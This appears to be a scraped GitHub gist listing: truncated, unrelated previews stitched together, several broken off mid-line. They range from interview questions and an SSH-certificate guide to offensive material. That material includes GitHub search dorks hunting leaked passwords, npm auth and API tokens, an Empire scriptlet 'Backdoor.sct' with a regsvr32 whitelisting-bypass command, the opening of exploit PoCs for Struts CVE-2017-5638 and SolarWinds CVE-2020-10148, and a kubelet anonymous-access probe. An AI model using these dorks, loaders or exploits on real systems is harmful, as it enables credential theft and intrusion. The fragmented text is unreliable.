- chime:createapikey
- codepipeline:pollforjobs
- cognito-identity:getopenidtoken
- cognito-identity:getopenidtokenfordeveloperidentity
- cognito-identity:getcredentialsforidentity
- connect:getfederationtoken
- connect:getfederationtokens
- ecr:getauthorizationtoken
- [gamelift:requestuploadcredentials](https://docs.aws.amazon.com/gamelift/latest/apireference/API_Re
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
1. What is information security and how is it achieved? | |
2. What are the core principles of information security? | |
3. What is non-repudiation (as it applies to IT security)? | |
4. What is the relationship between information security and data availability? | |
5. What is a security policy and why do we need one? | |
6. What is the difference between logical and physical security? Can you give an example of both? | |
7. What’s an acceptable level of risk? | |
8. What are the most common types of attacks that threaten enterprise data security? | |
9. What is the difference between a threat and a vulnerability? | |
10. Can you give me an example of common security vulnerabilities? |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
__author__ = 'srv' | |
import smtplib | |
from email.mime.multipart import MIMEMultipart | |
from email.mime.text import MIMEText | |
from email.mime.application import MIMEApplication | |
username = '' # Email Address from the email you want to send an email | |
password = '' # Password | |
server = smtplib.SMTP('') |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
echo "" | |
echo "************ Github Dork Links (must be logged in) *******************" | |
echo "" | |
echo " password" | |
echo "https://github.com/search?q=%22$1%22+password&type=Code" | |
echo "https://github.com/search?q=%22$without_suffix%22+password&type=Code" | |
echo "" | |
echo " npmrc _auth" |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?XML version="1.0"?> | |
<scriptlet> | |
<registration | |
description="Empire" | |
progid="Empire" | |
version="1.00" | |
classid="{20001111-0000-0000-0000-0000FEEDACDC}" | |
> | |
<!-- regsvr32 /s /i"C:\Bypass\Backdoor.sct" scrobj.dll --> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
# | |
# Poc | |
# | |
# ./CVE-2017-5638.sh 192.168.9.3 | |
# | |
# by f0r34chb3t4 - Qui Abr 12 21:00:24 -03 2018 | |
# | |
# CVE-2017-5638 | |
# Apache Struts 2 Vulnerability Remote Code Execution |
curl -sk https://localhost:10250/pods/
- If
--anonymous-auth
is turned off, you will see a401 Unauthorized
response. - If
--anonymous-auth
istrue
and--authorization-mode
isWebhook
you'll see403 Forbidden
response with messageForbidden (user=system:anonymous, verb=get, resource=nodes, subresource=proxy)
- If
--anonymous-auth
istrue
and--authorization-mode
isAlwaysAllow
you'll see a list of pods.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# CVE-2020-10148 (local file disclosure PoC for SolarWinds Orion aka door to SuperNova ? ) | |
# @0xSha | |
# (C) 2020 0xSha.io | |
# Advisory : https://www.solarwinds.com/securityadvisory | |
# Mitigation : https://downloads.solarwinds.com/solarwinds/Support/SupernovaMitigation.zip | |
# Details : https://kb.cert.org/vuls/id/843464 | |
# C:\inetpub\SolarWinds\bin\OrionWeb.DLL | |
# According to SolarWinds.Orion.Web.HttpModules |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
https://github.com/search?q=BROWSER_STACK_ACCESS_KEY= OR BROWSER_STACK_USERNAME= OR browserConnectionEnabled= OR BROWSERSTACK_ACCESS_KEY=&s=indexed&type=Code | |
https://github.com/search?q=CHROME_CLIENT_SECRET= OR CHROME_EXTENSION_ID= OR CHROME_REFRESH_TOKEN= OR CI_DEPLOY_PASSWORD= OR CI_DEPLOY_USER=&s=indexed&type=Code | |
https://github.com/search?q=CLOUDAMQP_URL= OR CLOUDANT_APPLIANCE_DATABASE= OR CLOUDANT_ARCHIVED_DATABASE= OR CLOUDANT_AUDITED_DATABASE=&s=indexed&type=Code | |
https://github.com/search?q=CLOUDANT_ORDER_DATABASE= OR CLOUDANT_PARSED_DATABASE= OR CLOUDANT_PASSWORD= OR CLOUDANT_PROCESSED_DATABASE=&s=indexed&type=Code | |
https://github.com/search?q=CONTENTFUL_PHP_MANAGEMENT_TEST_TOKEN= OR CONTENTFUL_TEST_ORG_CMA_TOKEN= OR CONTENTFUL_V2_ACCESS_TOKEN=&s=indexed&type=Code | |
https://github.com/search?q=-DSELION_BROWSER_RUN_HEADLESS= OR -DSELION_DOWNLOAD_DEPENDENCIES= OR -DSELION_SELENIUM_RUN_LOCALLY=&s=indexed&type=Code | |
https://github.com/search?q=ELASTICSEARCH_PASSWORD= OR ELASTICSEARCH_USERNAME= OR EMAIL_NOTIFI |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
### I use HSM backed SSH certs and so can you. [why?: keys can be stolen, certs expire!] | |
1. Get a YubiHSM2 @ https://www.yubico.com/products/hardware-security-module/ | |
2. Follow this: https://github.com/YubicoLabs/yubihsm-ssh-tool [ Yes, you're going to have to install all the other yubico stuff too, yubico-connector, etc, ..] on your issuing machine, or airgapped machine. | |
3. Be content that you can now sign certificates with the HSM on the issuer/airgapped machine. | |
3. Update /etc/ssh/sshd_config on remote server to add: | |
TrustedUserCAKeys /etc/ssh/ca.pub | |
AuthorizedPrincipalsFile /etc/ssh/auth_principals/%u | |
4. Add principals here: | |
ex: |
NewerOlder